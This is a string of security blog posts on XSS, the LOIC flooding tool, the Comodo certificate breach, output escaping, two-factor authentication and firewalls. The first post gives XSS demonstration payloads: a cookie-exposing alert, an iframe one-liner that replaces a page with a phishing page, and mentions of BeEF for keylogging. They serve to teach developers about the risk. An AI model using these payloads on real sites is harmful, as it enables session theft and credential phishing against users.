Cross-site scripting (XSS) vulnerabilities allow an attacker to inject content in an otherwise trusted web page. XSS attacks in the wild typically try to execute JavaScript, and consequently XSS issues are typically demonstrated with a script function that’s short, simple, and visual: the alert box. Many XSS examples use alert(1) or alert(‘XSS’) as a payload.

As others have noted, though, this fails to show the power of XSS, and may lead to a “so what?” reaction from developers not familiar with such a vulnerability. I like to compare alert(1) to showing that the safety of a gun is off. If someone has never handled or heard of a gun before, a small switch out of place won’t mean much. But when they see the gun fire and witness the damage a bullet can cause, the significance of that safety becomes apparent.

While I’m hardly the first to compile a list of example payloads that go beyond simple alert boxes (see also XSS – Exploitation beyond alert(‘xss’) and alert(‘xss’) – The slow death of XSS), I think it bears repeating that security professionals should be prepared to demonstrate the real dangers of XSS. Here are a few ideas to keep in your toolbox:

1. Expose cookies. My personal preference for a simple alert box when checking XSS is alert(document.cookie). Even if a developer is not familiar with XSS, most will likely recognize that access to the session data stored in a user’s cookie presents a problem. And note that if the injected script can alert those values, it can also send them to an external server, allowing an attacker to take control of the victim’s account
2. Gather real-world examples. While you’d certainly never want to just load a live payload on a vulnerable app, actual attacks against other sites are good testimonials for thinking about XSS. A few to get your file started:
   • Malware delivery on celebrity MySpace pages: Alicia Keys and other stars fell victim to an attack that didn’t even require JavaScript. An invisible <a> element covered the entire page, making any click send the user to a malicious site.
   • The Samy worm on MySpace: One of the fastest-spreading viruses used XSS. The Samy worm automatically friended other MySpace users and modified the profiles of victims. Its rapid spread caused MySpace to shut down temporarily.
   • Remote code execution on phones via the Android Market: A vulnerability in Google’s online store for Android apps could be used to send an install command when accessed from an Android phone. Once installed, the malicious app could then also be automatically launched.
   • Facebook bully video XSS payload: A recent attack exploiting a loophole in Facebook apps used event invites, chat messages, and Facebook pages to spread malicious links. The payload also included code for phishing account credentials.
3. Phishing demo. Create a page that mimics your app’s login form but submits to a different location, and save it somewhere safe but accessible. Add this bit of code to quickly replace a vulnerable page with your phishing page:
   

   x=document.createElement('iframe'),x.src='http://yourphishingpage/', x.height='100%',x.width='100%',x.frameBorder='0',document.body=x

4. Create a custom payload. Remember, once a script can be injected in a page, it basically has the same amount of access as any other script in the page. If you’re already familiar with code used by a vulnerable app, you can simply load a few of them with the XSS payload. With many sites using a range of client-side features, a few function calls can do quite a bit.
5. Set up a BeEF demo. The Browser Exploitation Framework, or BeEF for short, is a tool that essentially lets you create a small botnet. BeEF can be used to log keystrokes, detect features or history, and even launch Metasploit to load more sophisticated attacks.
6. Set up an XSS-based proxy. Tools such as Shell of the Future let you make requests for other sites from a victim’s browser and have the responses forwarded to your machine. This lets you tunnel traffic through other machines simply by exploiting XSS.

So, last night I downloaded a version of the Low-Orbit Ion Cannon, the traffic generation tool which Anonymous has been using to attack various websites. The version I acquired, from SourceForge, was not one which had been modified for use by Anonymous – it didn’t have the “Hive” function which allows it to be utilized remotely. I should mention that although it was originally made by Praetox, and many versions available for download still have Praetox branding, Praetox no longer supports the code, nor is in any way affiliated with Anonymous.

It’s not really a terribly complicated tool. All it does is flood out requests in one of three ways: http requests, TCP packets, or UDP packets. It allows the user to specify the target by URL or IP address, the timeout, port number, the number of threads used, and the attack mode – that being http, TCP, or UDP. If using http, the user can specify the subsite, and if using TCP or UDP, the payload can be given. There’s also a slider for the speed – though no information on what the actual bandwidth will be – and a checkbox for whether or not to wait for a reply. With this set of parameters given, the user need only tell it to go by hitting a button entitled “IMMA CHARGIN MAH LAZER” and watch the status across the bottom.

It’s not a very sophisticated tool; it doesn’t have anything to help it get past even rudimentary countermeasures. Given that it was written as a load-testing tool, that’s hardly surprising. What it lacks in sophistication, it does offer in simplicity. This is a tool which is simple, intuitive, and effective. In terms of usability, a great many professional developers could stand to learn from it. This is a tool which can be used with virtually no networking knowledge. Given that it’s a tool which is being given out to people with virtually no networking knowledge, it’s not a bad fit.

LOIC isn’t exactly a major threat to a large website. As is the nature of DOS attacks, it simply uses a brute-force attempt to flood a site. Smaller servers can readily be overwhelmed, of course, but this isn’t a new issue. That being said, LOIC has proven remarkably effective even though it is hamstrung both by its simplicity and by the steps users must take to preserve their anonymity while using it. So long as groups like Anonymous retain a use for such a tool, newer versions can be expected. While they may have newer tricks, they’ll likely remain by the curve technologically, preferring to keep the same simple usability which allows LOIC to be wielded by so many people.

Over the last few months, many people have talked about using HTTPS with sites such as Facebook and Twitter. The technology came up often after the release of Firesheep, which allowed Wi-Fi users to hijack other users who used these sites without HTTPS.

Part of the technology behind HTTPS are certificates – small electronic files that help your browser ensure it’s connecting to a trusted site and protect the connection from eavesdropping or tampering. For instance, when you visit https://www.google.com, the Google server has a certificate that lets your browser know it’s connecting to Google and not an impostor.

But how does your browser know if the certificate is not also from an impostor? Each browser maintains a list of certificate authorities, or CAs – special servers whose main purpose is issuing certificates for all those HTTPS websites. These CAs may also vouch for other authorities, creating a hierarchy of trust. If you access a site whose certificate is not from one of these authorities or has been marked by one of them as revoked, you’ll get an error or warning about a certificate problem. Ideally, all of the authorities are all trustworthy and only issue certificates for reputable websites.

Unfortunately, the current reality is less than ideal, and attacks can happen. Yesterday, a blog post from the Tor Project detailed research showing that two major browsers had quietly added code which blocked a few specific certificates. These certificates were issued by an authority in a hierarchy controlled by Comodo, who released a statement today providing a bit more information on what happened.

According to Comodo, attackers were able to access the account of a user who helped manage one of the servers for issuing certificates. They then created their own certificates for verifying websites from Google, Yahoo, Skype, and others. These fraudulent certificates could be used to make a user’s browser think it was connecting to legitimate sites when actually communicating with a malicious site.

Comodo stated that many of the attacks appear to be from Iran, and has said they believe the attack to be state-driven, but many details are still unknown at this point, and the situation calls into question several aspects of Comodo’s security policies. In the meantime, you should make sure you’re using the latest version of a modern browser, such as Chrome or Firefox, and avoid connecting to untrusted networks. The fraudulent certificates that have already been identified will be blocked by an updated browser, and we’ll have to wait and see if more fallout results from the attack.

Looks like there will be some pretty important patches released next week by Microsoft. According to the advance notice issued yesterday, there are three remote code execution vulnerabilities in Windows and Office that need to be patched. The advance bulletin doesn’t detail exactly what the problems are, but remote code execution vulnerabilities are serious problems. So, everyone, if/when the little icon shows up next Tuesday telling you that you need to re-start for updates to take effect, don’t put it off too long!

One of the primary weapons in a developer’s arsenal for stopping cross-site scripting (XSS) is output escaping. If an attacker can insert special characters into a page (such as < and >), they can potentially add new HTML or JavaScript and wreak havoc. By escaping data rendered by a page, you can change < to &lt; – the latter still gets rendered by the browser as < without creating a new HTML element.

However, it’s important to understand that this defensive strategy must include the concept of contextual escaping. That is, what characters you escape and how you handle them depends on the context of the output.

For instance, simply escaping or filtering every < and > is generally not enough to protect a web application. I’ve seen mainstream sites that escaped these characters, but then left quotation marks unchanged. When a parameter is rendered as HTML, " or ' may seem rather harmless. But consider this bit of code:

<script>var x = "parameter value";</script>

If the parameter value rendered here included a quotation mark, it would complete the variable definition and the rest of the parameter could be executed as JavaScript. I was reminded of contextual escaping’s importance just this week when I read this example of an XSS vulnerability in the password manager LastPass. In this case, the application properly escaped quotation marks in a script context, but still allowed characters that could close the script element and add a new one.

The OWASP XSS Prevention Cheat Sheet includes more details on characters to watch for in several common web app contexts. And remember that XSS in a JSON interface or iframe widget can be just as dangerous as obvious XSS in a search results page. Take note of where your application outputs data and make sure your XSS defenses match each context.

A couple of weeks ago, we brought to your attention the newly released two-factor authentication that Google rolled out for all of its web-based products (Gmail, Google Docs, Google Calendar, etc.). So now that it’s been out for a few weeks, and it’s finally had a chance to make its rounds to everyone’s accounts, let’s take a step back and see how it actually works.

We’ve talked about the importance of two-factor authentication in the past, and even a few other areas where it’s implemented.

Google did an excellent job at throwing together some tutorials on how to set-up everything and ensure your experience is pleasant. I would go into a detailed tutorial on all of this myself, but really I doubt I could do a better job than they did. But for those who just wanted a quick refresher, here goes. You can also read a fairly straight-forward take on everything directly from Google themselves and learn how it works.

1. Setup
2. Signing in with verification codes
3. Signing in using application-specific passwords

(more…)

You know those Facebook applications that occasionally pop up on your news feed, promising to add a “dislike” button, let you view who’s been looking at your profile, or implement some other feature that Facebook won’t ever support?  A lot of these applications are not much more than thinly disguised malware designed to harvest personal information or trick the user into participating in a click fraud scam.

Well, it looks like we’re in for a lot more of them, thanks to a new, cheap toolkit that allows users with little to no programming knowledge or experience create these malicious applications.  For the low price of $25, this application will guide you through the process of creating your own nefarious Facebook applications with promises of enormous return on investment by tricking your friends into filling out surveys for various third parties.

So remember, folks – be careful when you allow applications access to your Facebook profile – not all of them are safe, and not all of them deliver on their promises.  Personally, I haven’t installed any apps on Facebook, and I probably never will.

---

On an unrelated note, don’t forget – today is patch Tuesday!  Keep your Windows machines secure(ish) by applying those patches as soon as you can.  (Details: http://www.microsoft.com/technet/security/Bulletin/MS11-feb.mspx)

What is the first step to creating a new building? Is it grading the land? Building a foundation? No, the first step to creating a new building is to architect it. I might be able to learn enough about engineering and architecture to design a house. I doubt anything I came up with would be elegant enough to be on the cover of Architectural Digest – I don’t have enough experience! And likewise, my friend who is an artist could probably come up with some really fantastic, charming design for a house, sure to stun anyone who walks by… but her design might not be sufficient to meet building codes or even support its own roof. Architecture is the process of design, which is both art and science. A truly skilled architect can design something that meets all the requirements, is structurally sound (safe), and is also beautiful to look at.

Now, let’s take the same lesson and apply it to the building of information systems. Architecture needs to be the first step of the process. The design needs to be prepared to handle the many flaws that will undoubtedly be written in accidentally by the developers working on it. Despite the industry calls for building security in, software is, and will likely always be developed without consulting an experienced, talented architect who can help design the system for maximum resilience.

A recent example of this is a widely publicized flaw in the new Mac App Store, leaving many application developers without income from their applications because they are easily pirated. John Gruber of Daring Fireball pointed the finger at the application developers instead of Apple, because Apple does provide advice to the developers on how to validate purchase receipts. My take on it is different; Apple should have architected a solution for their Mac App Store that takes the onus off the software developers to do things the right way–a method that always worked, repeatably, for every application, without needing to copy and paste example code or say a magic incantation.

Information systems need an architect involved early in the process who remains engaged throughout the software development lifecycle. The architect’s role should be to ensure the functional requirements are met, the system is elegant (in other words, doesn’t make your eyes bleed), and the system is structurally sound and safe to use. If you need help architecting a system, we might be able to help.

A number of our employees are currently spending a fairly large amount of their time helping a customer with a task.  In a perfect world, this task would be completely unnecessary.  Suffice it to say that there is some maintenance that must be performed on a number of systems before the year is out, and they are having trouble getting responses from the system administrators who are responsible for the systems.

When we perform assessments, we often ask our customers about whether they have a configuration management database (CMDB) or something similar.  While CMDB systems may be useful for performing a physical inventory of your systems, that isn’t the real benefit. The real power of a CMDB comes in being able to track the current configuration, status, health, usage, and ownership of every system in the organization.  Let’s say a new patch is released; an up-to-date CMDB can help you understand what systems the patch applies to, whether they need to be patched and/or need prerequisite requirements fulfilled, what applications should be tested before and after the patch, and who the administrator(s) and owner(s) of the system are.

In this particular case, while there is a CMDB, it doesn’t do a good job of tracking the administrators and owners of their systems.  We are experiencing a huge gap in responsibility management.  While we may know of a system which needs maintenance, we don’t know who is responsible for its maintenance, and who is responsible for the information and applications which may be affected by the maintenance on that system.  In this organization, they are typically different people from different parts of the organization, who may not have even met.

Without understanding who is responsible for the system, the applications running on it, and the information stored within it, you are setting yourself up for problems. Well, you’re at least setting yourself up for many frantic emails and phone calls as deadlines draw near.

Recently I changed my personal firewall software. I was using the default Windows7 Pro firewall, which is fine for basic stuff, but I found a deal on one of my favorite security suites, so I went ahead and sprung for it. One main befuddlement people have with additional firewall software is the amount of nagging it often does when it’s first installed. You open your email client – popup – “program X is trying to communicate on port Y would you like to allow this?” You click yes, and move on. You open your instant messaging client and again – popup – “program X is trying to communicate on port Y would you like to allow this?” This can be annoying but this is usually the training mode of the software, it’s trying to learn what software you use, and it’s relying on you to make educated decisions on whether that software is really what you’re trying to run.

Usually firewalls only do this when they are initially installed and are in their “learning” modes. I usually keep it in “learning mode” for about a week to ensure I cover the plethora of software that I’d typically use. Then I go into lock down mode – blocking all other outbound and inbound traffic. Most people will only resort to a middle ground where most of the known ports are allowed, and others are not.

But this “learning” time period can also be beneficial. It will ask you whenever any program tries to communicate in/outbound – so if you start getting warnings when you’re not actively trying to run a program, then pay close attention to what program is trying to communicate. If it’s not a Microsoft service (windows) or some other service from a trusted source, then most likely it’s malware that’s been residing on your system for some time and you probably didn’t even know.

Most of this is beneficial to you home users, but it can also help those in the IT departments as well. It’s a good learning tool to help those just starting out to realize that there’s a lot more going on than you might expect. There are a lot of underlying communications that can occur especially in the corporate environment. So use these “learning” sessions to help educate yourself, for home and work life; and those in IT should be making notes of what is trying to communicate, and compare those with the known services that your company is running. Once you’ve determined all the proper services and software – opt to block all other in/outbound communications. You should document this in a policy and keep records of this. The last thing you want happening is not knowing what could potentially be coming or going from your networks.